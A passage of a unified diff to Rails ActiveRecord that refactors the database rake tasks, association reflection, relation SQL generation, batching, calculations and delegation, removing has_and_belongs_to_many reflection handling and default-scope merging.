@@ -271,7 +255,7 @@ db_namespace = namespace :db do
desc 'Clear a db/schema_cache.dump file.'
task :clear => [:environment, :load_config] do
filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
- FileUtils.rm(filename) if File.exists?(filename)
+ FileUtils.rm(filename) if File.exist?(filename)
end
end
@@ -284,20 +268,19 @@ db_namespace = namespace :db do
current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
- if ActiveRecord::Base.connection.supports_migrations?
+ if ActiveRecord::Base.connection.supports_migrations? &&
+ ActiveRecord::SchemaMigration.table_exists?
File.open(filename, "a") do |f|
f.puts ActiveRecord::Base.connection.dump_schema_information
+ f.print "\n"
end
end
db_namespace['structure:dump'].reenable
end
- # desc "Recreate the databases from the structure.sql file"
+ desc "Recreate the databases from the structure.sql file"
task :load => [:environment, :load_config] do
- filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
- ActiveRecord::Tasks::DatabaseTasks.check_schema_file(filename)
- current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
- ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
+ ActiveRecord::Tasks::DatabaseTasks.load_schema(:sql, ENV['DB_STRUCTURE'])
end
task :load_if_sql => ['db:create', :environment] do
@@ -307,8 +290,15 @@ db_namespace = namespace :db do
namespace :test do
+ task :deprecated do
+ Rake.application.top_level_tasks.grep(/^db:test:/).each do |task|
+ $stderr.puts "WARNING: #{task} is deprecated. The Rails test helper now maintains " \
+ "your test schema automatically, see the release notes for details."
+ end
+ end
+
# desc "Recreate the test database from the current schema"
- task :load => 'db:test:purge' do
+ task :load => %w(db:test:deprecated db:test:purge) do
case ActiveRecord::Base.schema_format
when :ruby
db_namespace["test:load_schema"].invoke
@@ -318,18 +308,21 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from an existent schema.rb file"
- task :load_schema => 'db:test:purge' do
+ task :load_schema => %w(db:test:deprecated db:test:purge) do
begin
+ should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
ActiveRecord::Schema.verbose = false
db_namespace["schema:load"].invoke
ensure
- ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations[ActiveRecord::Tasks::DatabaseTasks.env])
+ if should_reconnect
+ ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations[ActiveRecord::Tasks::DatabaseTasks.env])
+ end
end
end
# desc "Recreate the test database from an existent structure.sql file"
- task :load_structure => 'db:test:purge' do
+ task :load_structure => %w(db:test:deprecated db:test:purge) do
begin
ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
db_namespace["structure:load"].invoke
@@ -339,7 +332,7 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from a fresh schema"
- task :clone do
+ task :clone => %w(db:test:deprecated environment) do
case ActiveRecord::Base.schema_format
when :ruby
db_namespace["test:clone_schema"].invoke
@@ -349,18 +342,18 @@ db_namespace = namespace :db do
end
# desc "Recreate the test database from a fresh schema.rb file"
- task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+ task :clone_schema => %w(db:test:deprecated db:schema:dump db:test:load_schema)
# desc "Recreate the test database from a fresh structure.sql file"
- task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+ task :clone_structure => %w(db:test:deprecated db:structure:dump db:test:load_structure)
# desc "Empty the test database"
- task :purge => [:environment, :load_config] do
+ task :purge => %w(db:test:deprecated environment load_config) do
ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test']
end
# desc 'Check for pending migrations and load the test schema'
- task :prepare => :load_config do
+ task :prepare => %w(db:test:deprecated environment load_config) do
unless ActiveRecord::Base.configurations.blank?
db_namespace['test:load'].invoke
end
@@ -395,6 +388,3 @@ namespace :railties do
end
end
end
-
-task 'test:prepare' => ['db:test:prepare', 'db:test:load', 'db:abort_if_pending_migrations']
-
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index 8a9488656b..95485ddada 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -1,3 +1,5 @@
+require 'thread'
+
module ActiveRecord
# = Active Record Reflection
module Reflection # :nodoc:
@@ -10,6 +12,25 @@ module ActiveRecord
self.aggregate_reflections = {}
end
+ def self.create(macro, name, scope, options, ar)
+ case macro
+ when :has_many, :belongs_to, :has_one
+ klass = options[:through] ? ThroughReflection : AssociationReflection
+ when :composed_of
+ klass = AggregateReflection
+ end
+
+ klass.new(macro, name, scope, options, ar)
+ end
+
+ def self.add_reflection(ar, name, reflection)
+ ar.reflections = ar.reflections.merge(name.to_s => reflection)
+ end
+
+ def self.add_aggregate_reflection(ar, name, reflection)
+ ar.aggregate_reflections = ar.aggregate_reflections.merge(name.to_s => reflection)
+ end
+
# \Reflection enables to interrogate Active Record classes and objects
# about their associations and aggregations. This information can,
# for example, be used in a form builder that takes an Active Record object
@@ -19,25 +40,6 @@ module ActiveRecord
# MacroReflection class has info for AggregateReflection and AssociationReflection
# classes.
module ClassMethods
- def create_reflection(macro, name, scope, options, active_record)
- case macro
- when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
- klass = options[:through] ? ThroughReflection : AssociationReflection
- when :composed_of
- klass = AggregateReflection
- end
-
- reflection = klass.new(macro, name, scope, options, active_record)
-
- if klass == AggregateReflection
- self.aggregate_reflections = self.aggregate_reflections.merge(name => reflection)
- else
- self.reflections = self.reflections.merge(name => reflection)
- end
-
- reflection
- end
-
# Returns an array of AggregateReflection objects for all the aggregations in the class.
def reflect_on_all_aggregations
aggregate_reflections.values
@@ -48,7 +50,7 @@ module ActiveRecord
# Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
#
def reflect_on_aggregation(aggregation)
- aggregate_reflections[aggregation]
+ aggregate_reflections[aggregation.to_s]
end
# Returns an array of AssociationReflection objects for all the
@@ -72,7 +74,7 @@ module ActiveRecord
# Invoice.reflect_on_association(:line_items).macro # returns :has_many
#
def reflect_on_association(association)
- reflections[association]
+ reflections[association.to_s]
end
# Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
@@ -119,6 +121,7 @@ module ActiveRecord
@scope = scope
@options = options
@active_record = active_record
+ @klass = options[:class]
@plural_name = active_record.pluralize_table_names ?
name.to_s.pluralize : name.to_s
end
@@ -150,7 +153,7 @@ module ActiveRecord
super ||
other_aggregation.kind_of?(self.class) &&
name == other_aggregation.name &&
- other_aggregation.options &&
+ !other_aggregation.options.nil? &&
active_record == other_aggregation.active_record
end
@@ -191,12 +194,25 @@ module ActiveRecord
attr_reader :type, :foreign_type
- def initialize(*args)
+ def initialize(macro, name, scope, options, active_record)
super
- @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
+ @collection = :has_many == macro
@automatic_inverse_of = nil
@type = options[:as] && "#{options[:as]}_type"
@foreign_type = options[:foreign_type] || "#{name}_type"
+ @constructable = calculate_constructable(macro, options)
+ @association_scope_cache = {}
+ @scope_lock = Mutex.new
+ end
+
+ def association_scope_cache(conn, owner)
+ key = conn.prepared_statements
+ if options[:polymorphic]
+ key = [key, owner.read_attribute(@foreign_type)]
+ end
+ @association_scope_cache[key] ||= @scope_lock.synchronize {
+ @association_scope_cache[key] ||= yield
+ }
end
# Returns a new, unsaved instance of the associated class. +attributes+ will
@@ -205,6 +221,10 @@ module ActiveRecord
klass.new(attributes, &block)
end
+ def constructable? # :nodoc:
+ @constructable
+ end
+
def table_name
klass.table_name
end
@@ -248,10 +268,6 @@ module ActiveRecord
def check_validity!
check_validity_of_inverse!
-
- if has_and_belongs_to_many? && association_foreign_key == foreign_key
- raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(self)
- end
end
def check_validity_of_inverse!
@@ -267,7 +283,7 @@ module ActiveRecord
end
def source_reflection
- nil
+ self
end
# A chain of reflections from this one back to the owner. For more see the explanation in
@@ -333,10 +349,6 @@ module ActiveRecord
macro == :belongs_to
end
- def has_and_belongs_to_many?
- macro == :has_and_belongs_to_many
- end
-
def association_class
case macro
when :belongs_to
@@ -345,8 +357,6 @@ module ActiveRecord
else
Associations::BelongsToAssociation
end
- when :has_and_belongs_to_many
- Associations::HasAndBelongsToManyAssociation
when :has_many
if options[:through]
Associations::HasManyThroughAssociation
@@ -369,7 +379,25 @@ module ActiveRecord
VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to]
INVALID_AUTOMATIC_INVERSE_OPTIONS = [:conditions, :through, :polymorphic, :foreign_key]
+ protected
+
+ def actual_source_reflection # FIXME: this is a horrible name
+ self
+ end
+
private
+
+ def calculate_constructable(macro, options)
+ case macro
+ when :belongs_to
+ !options[:polymorphic]
+ when :has_one
+ !options[:through]
+ else
+ true
+ end
+ end
+
# Attempts to find the inverse association name automatically.
# If it cannot find a suitable inverse association name, it returns
# nil.
@@ -386,7 +414,7 @@ module ActiveRecord
# returns either nil or the inverse association name that it finds.
def automatic_inverse_of
if can_find_inverse_of_automatically?(self)
- inverse_name = active_record.name.downcase.to_sym
+ inverse_name = ActiveSupport::Inflector.underscore(active_record.name).to_sym
begin
reflection = klass.reflect_on_association(inverse_name)
@@ -405,7 +433,7 @@ module ActiveRecord
end
# Checks if the inverse reflection that is returned from the
- # +set_automatic_inverse_of+ method is a valid reflection. We must
+ # +automatic_inverse_of+ method is a valid reflection. We must
# make sure that the reflection's active_record name matches up
# with the current reflection's klass name.
#
@@ -414,7 +442,6 @@ module ActiveRecord
def valid_inverse_reflection?(reflection)
reflection &&
klass.name == reflection.active_record.name &&
- klass.primary_key == reflection.active_record_primary_key &&
can_find_inverse_of_automatically?(reflection)
end
@@ -436,9 +463,9 @@ module ActiveRecord
end
def derive_class_name
- class_name = name.to_s.camelize
+ class_name = name.to_s
class_name = class_name.singularize if collection?
- class_name
+ class_name.camelize
end
def derive_foreign_key
@@ -527,7 +554,9 @@ module ActiveRecord
#
def chain
@chain ||= begin
- chain = source_reflection.chain + through_reflection.chain
+ a = source_reflection.chain
+ b = through_reflection.chain
+ chain = a + b
chain[0] = self # Use self so we don't lose the information from :source_type
chain
end
@@ -559,7 +588,7 @@ module ActiveRecord
# Add to it the scope from this reflection (if any)
scope_chain.first << scope if scope
- through_scope_chain = through_reflection.scope_chain
+ through_scope_chain = through_reflection.scope_chain.map(&:dup)
if options[:source_type]
through_scope_chain.first <<
@@ -578,7 +607,7 @@ module ActiveRecord
# A through association is nested if there would be more than one join table
def nested?
- chain.length > 2 || through_reflection.macro == :has_and_belongs_to_many
+ chain.length > 2
end
# We want to use the klass from this reflection, rather than just delegate straight to
@@ -587,12 +616,7 @@ module ActiveRecord
def association_primary_key(klass = nil)
# Get the "actual" source reflection if the immediate source reflection has a
# source reflection itself
- source_reflection = self.source_reflection
- while source_reflection.source_reflection
- source_reflection = source_reflection.source_reflection
- end
-
- source_reflection.options[:primary_key] || primary_key(klass || self.klass)
+ actual_source_reflection.options[:primary_key] || primary_key(klass || self.klass)
end
# Gets an array of possible <tt>:through</tt> source reflection names in both singular and plural form.
@@ -607,7 +631,7 @@ module ActiveRecord
# # => [:tag, :tags]
#
def source_reflection_names
- (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }.uniq
+ options[:source] ? [options[:source]] : [name.to_s.singularize, name].uniq
end
def source_reflection_name # :nodoc:
@@ -671,6 +695,12 @@ directive on your declaration like:
check_validity_of_inverse!
end
+ protected
+
+ def actual_source_reflection # FIXME: this is a horrible name
+ source_reflection.actual_source_reflection
+ end
+
private
def derive_class_name
# get the class_name of the belongs_to association of the through reflection
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index d37471e9ad..24b33ab0a8 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -1,4 +1,5 @@
# -*- coding: utf-8 -*-
+require 'arel/collectors/bind'
module ActiveRecord
# = Active Record Relation
@@ -7,7 +8,7 @@ module ActiveRecord
MULTI_VALUE_METHODS = [:includes, :eager_load, :preload, :select, :group,
:order, :joins, :where, :having, :bind, :references,
- :extending]
+ :extending, :unscope]
SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reordering,
:reverse_order, :distinct, :create_with, :uniq]
@@ -17,17 +18,15 @@ module ActiveRecord
include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
attr_reader :table, :klass, :loaded
- attr_accessor :default_scoped
alias :model :klass
alias :loaded? :loaded
- alias :default_scoped? :default_scoped
def initialize(klass, table, values = {})
- @klass = klass
- @table = table
- @values = values
- @loaded = false
- @default_scoped = false
+ @klass = klass
+ @table = table
+ @values = values
+ @offsets = {}
+ @loaded = false
end
def initialize_copy(other)
@@ -72,9 +71,9 @@ module ActiveRecord
binds)
end
- def update_record(values, id, id_was) # :nodoc:
+ def _update_record(values, id, id_was) # :nodoc:
substitutes, binds = substitute_values values
- um = @klass.unscoped.where(@klass.arel_table[@klass.primary_key].eq(id_was || id)).arel.compile_update(substitutes)
+ um = @klass.unscoped.where(@klass.arel_table[@klass.primary_key].eq(id_was || id)).arel.compile_update(substitutes, @klass.primary_key)
@klass.connection.update(
um,
@@ -225,6 +224,7 @@ module ActiveRecord
# Please see further details in the
# {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
def explain
+ #TODO: Fix for binds.
exec_explain(collecting_queries_for_explain { exec_queries })
end
@@ -240,15 +240,19 @@ module ActiveRecord
# Returns size of the records.
def size
- loaded? ? @records.length : count
+ loaded? ? @records.length : count(:all)
end
# Returns true if there are no records.
def empty?
return @records.empty? if loaded?
- c = count(:all)
- c.respond_to?(:zero?) ? c.zero? : c.empty?
+ if limit_value == 0
+ true
+ else
+ c = count(:all)
+ c.respond_to?(:zero?) ? c.zero? : c.empty?
+ end
end
# Returns true if there are any records.
@@ -313,7 +317,7 @@ module ActiveRecord
stmt.table(table)
stmt.key = table[primary_key]
- if with_default_scope.joins_values.any?
+ if joins_values.any?
@klass.connection.join_to_update(stmt, arel)
else
stmt.take(arel.limit)
@@ -321,7 +325,8 @@ module ActiveRecord
stmt.wheres = arel.constraints
end
- @klass.connection.update stmt, 'SQL', bind_values
+ bvs = bind_values + arel.bind_values
+ @klass.connection.update stmt, 'SQL', bvs
end
# Updates an object (or multiple objects) and saves it to the database, if validations pass.
@@ -438,7 +443,7 @@ module ActiveRecord
stmt = Arel::DeleteManager.new(arel.engine)
stmt.from(table)
- if with_default_scope.joins_values.any?
+ if joins_values.any?
@klass.connection.join_to_delete(stmt, arel, table[primary_key])
else
stmt.wheres = arel.constraints
@@ -493,9 +498,10 @@ module ActiveRecord
end
def reset
- @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
+ @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
@should_eager_load = @join_dependency = nil
@records = []
+ @offsets = {}
self
end
@@ -504,25 +510,43 @@ module ActiveRecord
# User.where(name: 'Oscar').to_sql
# # => SELECT "users".* FROM "users" WHERE "users"."name" = 'Oscar'
def to_sql
- @to_sql ||= klass.connection.to_sql(arel, bind_values.dup)
+ @to_sql ||= begin
+ relation = self
+ connection = klass.connection
+ visitor = connection.visitor
+
+ if eager_loading?
+ find_with_associations { |rel| relation = rel }
+ end
+
+ arel = relation.arel
+ binds = (arel.bind_values + relation.bind_values).dup
+ binds.map! { |bv| connection.quote(*bv.reverse) }
+ collect = visitor.accept(arel.ast, Arel::Collectors::Bind.new)
+ collect.substitute_binds(binds).join
+ end
end
# Returns a hash of where conditions.
#
# User.where(name: 'Oscar').where_values_hash
# # => {name: "Oscar"}
- def where_values_hash
- scope = with_default_scope
- equalities = scope.where_values.grep(Arel::Nodes::Equality).find_all { |node|
- node.left.relation.name == table_name
+ def where_values_hash(relation_table_name = table_name)
+ equalities = where_values.grep(Arel::Nodes::Equality).find_all { |node|
+ node.left.relation.name == relation_table_name
}
- binds = Hash[scope.bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
- binds.merge!(Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }])
+ binds = Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
Hash[equalities.map { |where|
name = where.left.name
- [name, binds.fetch(name.to_s) { where.right }]
+ [name, binds.fetch(name.to_s) {
+ case where.right
+ when Array then where.right.map(&:val)
+ else
+ where.right.val
+ end
+ }]
}]
end
@@ -554,6 +578,8 @@ module ActiveRecord
# Compares two relations for equality.
def ==(other)
case other
+ when Associations::CollectionProxy, AssociationRelation
+ self == other.to_a
when Relation
other.to_sql == to_sql
when Array
@@ -565,16 +591,6 @@ module ActiveRecord
q.pp(self.to_a)
end
- def with_default_scope #:nodoc:
- if default_scoped? && default_scope = klass.send(:build_default_scope)
- default_scope = default_scope.merge(self)
- default_scope.default_scoped = false
- default_scope
- else
- self
- end
- end
-
# Returns true if relation is blank.
def blank?
to_a.blank?
@@ -594,22 +610,17 @@ module ActiveRecord
private
def exec_queries
- default_scoped = with_default_scope
+ @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, arel.bind_values + bind_values)
- if default_scoped.equal?(self)
- @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
-
- preload = preload_values
- preload += includes_values unless eager_loading?
- preload.each do |associations|
- ActiveRecord::Associations::Preloader.new(@records, associations).run
- end
-
- @records.each { |record| record.readonly! } if readonly_value
- else
- @records = default_scoped.to_a
+ preload = preload_values
+ preload += includes_values unless eager_loading?
+ preloader = ActiveRecord::Associations::Preloader.new
+ preload.each do |associations|
+ preloader.preload @records, associations
end
+ @records.each { |record| record.readonly! } if readonly_value
+
@loaded = true
@records
end
@@ -627,34 +638,8 @@ module ActiveRecord
# always convert table names to downcase as in Oracle quoted table names are in uppercase
joined_tables = joined_tables.flatten.compact.map { |t| t.downcase }.uniq
- string_tables = tables_in_string(to_sql)
- if (references_values - joined_tables).any?
- true
- elsif !ActiveRecord::Base.disable_implicit_join_references &&
- (string_tables - joined_tables).any?
- ActiveSupport::Deprecation.warn(
- "It looks like you are eager loading table(s) (one of: #{string_tables.join(', ')}) " \
- "that are referenced in a string SQL snippet. For example: \n" \
- "\n" \
- " Post.includes(:comments).where(\"comments.title = 'foo'\")\n" \
- "\n" \
- "Currently, Active Record recognizes the table in the string, and knows to JOIN the " \
- "comments table to the query, rather than loading comments in a separate query. " \
- "However, doing this without writing a full-blown SQL parser is inherently flawed. " \
- "Since we don't want to write an SQL parser, we are removing this functionality. " \
- "From now on, you must explicitly tell Active Record when you are referencing a table " \
- "from a string:\n" \
- "\n" \
- " Post.includes(:comments).where(\"comments.title = 'foo'\").references(:comments)\n" \
- "\n" \
- "If you don't rely on implicit join references you can disable the feature entirely " \
- "by setting `config.active_record.disable_implicit_join_references = true`."
- )
- true
- else
- false
- end
+ (references_values - joined_tables).any?
end
def tables_in_string(string)
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index 91ea1756c4..29fc150b3d 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -34,7 +34,7 @@ module ActiveRecord
# between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
# (by setting the +:start+ option on that worker).
#
- # # Let's process for a batch of 2000 records, skiping the first 2000 rows
+ # # Let's process for a batch of 2000 records, skipping the first 2000 rows
# Person.find_each(start: 2000, batch_size: 2000) do |person|
# person.party_all_night!
# end
@@ -52,7 +52,9 @@ module ActiveRecord
records.each { |record| yield record }
end
else
- enum_for :find_each, options
+ enum_for :find_each, options do
+ options[:start] ? where(table[primary_key].gteq(options[:start])).size : size
+ end
end
end
@@ -64,6 +66,16 @@ module ActiveRecord
# group.each { |person| person.party_all_night! }
# end
#
+ # If you do not provide a block to #find_in_batches, it will return an Enumerator
+ # for chaining with other methods:
+ #
+ # Person.find_in_batches.with_index do |group, batch|
+ # puts "Processing group ##{batch}"
+ # group.each(&:recover_from_last_night!)
+ # end
+ #
+ # To be yielded each record one by one, use #find_each instead.
+ #
# ==== Options
# * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
# * <tt>:start</tt> - Specifies the starting point for the batch processing.
@@ -88,13 +100,19 @@ module ActiveRecord
options.assert_valid_keys(:start, :batch_size)
relation = self
+ start = options[:start]
+ batch_size = options[:batch_size] || 1000
- unless arel.orders.blank? && arel.taken.blank?
- ActiveRecord::Base.logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
+ unless block_given?
+ return to_enum(:find_in_batches, options) do
+ total = start ? where(table[primary_key].gteq(start)).size : size
+ (total - 1).div(batch_size) + 1
+ end
end
- start = options.delete(:start)
- batch_size = options.delete(:batch_size) || 1000
+ if logger && (arel.orders.present? || arel.taken.present?)
+ logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
+ end
relation = relation.reorder(batch_order).limit(batch_size)
records = start ? relation.where(table[primary_key].gteq(start)).to_a : relation.to_a
@@ -102,16 +120,13 @@ module ActiveRecord
while records.any?
records_size = records.size
primary_key_offset = records.last.id
+ raise "Primary key not included in the custom select clause" unless primary_key_offset
yield records
break if records_size < batch_size
- if primary_key_offset
- records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
- else
- raise "Primary key not included in the custom select clause"
- end
+ records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
end
end
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index 4becf3980d..42c9881b48 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -20,6 +20,8 @@ module ActiveRecord
# Person.group(:city).count
# # => { 'Rome' => 5, 'Paris' => 3 }
def count(column_name = nil, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
column_name, options = nil, column_name if column_name.is_a?(Hash)
calculate(:count, column_name, options)
end
@@ -29,6 +31,8 @@ module ActiveRecord
#
# Person.average(:age) # => 35.8
def average(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
calculate(:average, column_name, options)
end
@@ -38,6 +42,8 @@ module ActiveRecord
#
# Person.minimum(:age) # => 7
def minimum(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
calculate(:minimum, column_name, options)
end
@@ -47,6 +53,8 @@ module ActiveRecord
#
# Person.maximum(:age) # => 93
def maximum(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
calculate(:maximum, column_name, options)
end
@@ -91,20 +99,16 @@ module ActiveRecord
#
# Person.sum("2 * age")
def calculate(operation, column_name, options = {})
- relation = with_default_scope
-
- if column_name.is_a?(Symbol) && attribute_aliases.key?(column_name.to_s)
- column_name = attribute_aliases[column_name.to_s].to_sym
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ if column_name.is_a?(Symbol) && attribute_alias?(column_name)
+ column_name = attribute_alias(column_name)
end
- if relation.equal?(self)
- if has_include?(column_name)
- construct_relation_for_association_calculations.calculate(operation, column_name, options)
- else
- perform_calculation(operation, column_name, options)
- end
+ if has_include?(column_name)
+ construct_relation_for_association_calculations.calculate(operation, column_name, options)
else
- relation.calculate(operation, column_name, options)
+ perform_calculation(operation, column_name, options)
end
end
@@ -143,39 +147,31 @@ module ActiveRecord
#
def pluck(*column_names)
column_names.map! do |column_name|
- if column_name.is_a?(Symbol)
- if attribute_aliases.key?(column_name.to_s)
- column_name = attribute_aliases[column_name.to_s].to_sym
- end
-
- if self.columns_hash.key?(column_name.to_s)
- column_name = "#{connection.quote_table_name(table_name)}.#{connection.quote_column_name(column_name)}"
- end
+ if column_name.is_a?(Symbol) && attribute_alias?(column_name)
+ attribute_alias(column_name)
+ else
+ column_name.to_s
end
-
- column_name
end
if has_include?(column_names.first)
construct_relation_for_association_calculations.pluck(*column_names)
else
relation = spawn
- relation.select_values = column_names
+ relation.select_values = column_names.map { |cn|
+ columns_hash.key?(cn) ? arel_table[cn] : cn
+ }
result = klass.connection.select_all(relation.arel, nil, bind_values)
columns = result.columns.map do |key|
klass.column_types.fetch(key) {
- result.column_types.fetch(key) {
- Class.new { def type_cast(v); v; end }.new
- }
+ result.column_types.fetch(key) { result.identity_type }
}
end
result = result.map do |attributes|
values = klass.initialize_attributes(attributes).values
- columns.zip(values).map do |column, value|
- column.type_cast(value)
- end
+ columns.zip(values).map { |column, value| column.type_cast value }
end
columns.one? ? result.map!(&:first) : result
end
@@ -192,26 +188,19 @@ module ActiveRecord
private
def has_include?(column_name)
- eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
+ eager_loading? || (includes_values.present? && ((column_name && column_name != :all) || references_eager_loaded_tables?))
end
def perform_calculation(operation, column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
operation = operation.to_s.downcase
# If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count)
distinct = self.distinct_value
- if options.has_key?(:distinct)
- ActiveSupport::Deprecation.warn "The :distinct option for `Relation#count` is deprecated. " \
- "Please use `Relation#distinct` instead. (eg. `relation.distinct.count`)"
- distinct = options[:distinct]
- end
if operation == "count"
- if select_values.present?
- column_name ||= select_values.join(", ")
- else
- column_name ||= :all
- end
+ column_name ||= select_for_count
unless arel.ast.grep(Arel::Nodes::OuterJoin).empty?
distinct = true
@@ -242,15 +231,18 @@ module ActiveRecord
def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
# Postgresql doesn't like ORDER BY when there are no GROUP BY
- relation = reorder(nil)
+ relation = unscope(:order)
column_alias = column_name
+ bind_values = nil
+
if operation == "count" && (relation.limit_value || relation.offset_value)
# Shortcut when limit is zero.
return 0 if relation.limit_value == 0
query_builder = build_count_subquery(relation, column_name, distinct)
+ bind_values = query_builder.bind_values + relation.bind_values
else
column = aggregate_column(column_name)
@@ -260,9 +252,10 @@ module ActiveRecord
relation.select_values = [select_value]
query_builder = relation.arel
+ bind_values = query_builder.bind_values + relation.bind_values
end
- result = @klass.connection.select_all(query_builder, nil, relation.bind_values)
+ result = @klass.connection.select_all(query_builder, nil, bind_values)
row = result.first
value = row && row.values.first
column = result.column_types.fetch(column_alias) do
@@ -335,7 +328,9 @@ module ActiveRecord
}
key = key.first if key.size == 1
key = key_records[key] if associated
- [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
+
+ column_type = calculated_data.column_types.fetch(aggregate_alias) { column_for(column_name) }
+ [key, type_cast_calculated_value(row[aggregate_alias], column_type, operation)]
end]
end
@@ -379,15 +374,26 @@ module ActiveRecord
column ? column.type_cast(value) : value
end
+ # TODO: refactor to allow non-string `select_values` (eg. Arel nodes).
+ def select_for_count
+ if select_values.present?
+ select_values.join(", ")
+ else
+ :all
+ end
+ end
+
def build_count_subquery(relation, column_name, distinct)
column_alias = Arel.sql('count_column')
subquery_alias = Arel.sql('subquery_for_count')
aliased_column = aggregate_column(column_name == :all ? 1 : column_name).as(column_alias)
relation.select_values = [aliased_column]
- subquery = relation.arel.as(subquery_alias)
+ arel = relation.arel
+ subquery = arel.as(subquery_alias)
sm = Arel::SelectManager.new relation.engine
+ sm.bind_values = arel.bind_values
select_value = operation_over_aggregate_column(column_alias, 'count', distinct)
sm.project(select_value).from(subquery)
end
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
index 8d6740246c..9c666dcd3b 100644
--- a/activerecord/lib/active_record/relation/delegation.rb
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -1,8 +1,35 @@
-require 'thread'
-require 'thread_safe'
+require 'set'
+require 'active_support/concern'
+require 'active_support/deprecation'
module ActiveRecord
module Delegation # :nodoc:
+ module DelegateCache
+ def relation_delegate_class(klass) # :nodoc:
+ @relation_delegate_cache[klass]
+ end
+
+ def initialize_relation_delegate_cache # :nodoc:
+ @relation_delegate_cache = cache = {}
+ [
+ ActiveRecord::Relation,
+ ActiveRecord::Associations::CollectionProxy,
+ ActiveRecord::AssociationRelation
+ ].each do |klass|
+ delegate = Class.new(klass) {
+ include ClassSpecificRelation
+ }
+ const_set klass.name.gsub('::', '_'), delegate
+ cache[klass] = delegate
+ end
+ end
+
+ def inherited(child_class)
+ child_class.initialize_relation_delegate_cache
+ super
+ end
+ end
+
extend ActiveSupport::Concern
# This module creates compiled delegation methods dynamically at runtime, which makes
@@ -10,7 +37,14 @@ module ActiveRecord
# may vary depending on the klass of a relation, so we create a subclass of Relation
# for each different klass, and the delegations are compiled into that subclass only.
- delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+ BLACKLISTED_ARRAY_METHODS = [
+ :compact!, :flatten!, :reject!, :reverse!, :rotate!, :map!,
+ :shuffle!, :slice!, :sort!, :sort_by!, :delete_if,
+ :keep_if, :pop, :shift, :delete_at, :compact, :select!
+ ].to_set # :nodoc:
+
+ delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, to: :to_a
+
delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
:connection, :columns_hash, :to => :klass
@@ -38,7 +72,7 @@ module ActiveRecord
RUBY
else
define_method method do |*args, &block|
- scoping { @klass.send(method, *args, &block) }
+ scoping { @klass.public_send(method, *args, &block) }
end
end
end
@@ -57,13 +91,10 @@ module ActiveRecord
def method_missing(method, *args, &block)
if @klass.respond_to?(method)
